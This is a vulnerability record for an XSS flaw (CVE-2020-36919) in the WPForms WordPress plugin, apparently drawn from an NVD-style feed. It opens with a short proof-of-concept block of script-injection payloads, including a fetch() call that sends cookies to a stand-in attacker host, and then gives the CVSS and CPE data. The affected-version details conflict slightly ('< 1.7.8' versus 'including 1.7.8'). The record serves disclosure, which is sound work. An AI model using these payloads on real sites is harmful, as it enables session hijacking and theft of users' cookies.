CVE-2020-36919

<!-- CVE-2020-36919 XSS PoC --> <!-- Target: WordPress site with WPForms < 1.7.8 --> <!-- XSS via tab parameter in ListTable.php --> https://target-site.com/wp-admin/admin.php?page=wpforms-builder&view=sliders&tab=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E <!-- XSS via slider import search feature --> <!-- Inject payload in the search field --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Example malicious URL for reference --> <!-- http://vulnerable-site.com/wp-admin/admin.php?page=wpforms-builder&tab="><script>alert('XSS')</script> -->

{"cve": {"id": "CVE-2020-36919", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:48.717", "lastModified": "2026-01-29T00:50:28.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WPForms 1.7.8 contains a cross-site scripting vulnerability in the slider import search feature and tab parameter. Attackers can inject malicious scripts through the ListTable.php endpoint to execute arbitrary JavaScript in victim's browser."}, {"lang": "es", "value": "WPForms 1.7.8 contiene una vulnerabilidad de cross-site scripting en la función de búsqueda de importación de deslizadores y el parámetro de pestaña. Los atacantes pueden inyectar scripts maliciosos a través del endpoint ListTable.php para ejecutar JavaScript arbitrario en el navegador de la víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wpforms:wpforms:*:*:*:*:lite:wordpress:*:*", "versionEndIncluding": "1.7.8", "matchCriteriaId": "C2C0B222-34A9-40E4-89E3-937E76944165"}]}]}], "references": [{"url": "https://wordpress.org/plugins/wpforms-lite", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51152", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/wpforms-cross-site-scripting-xss", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}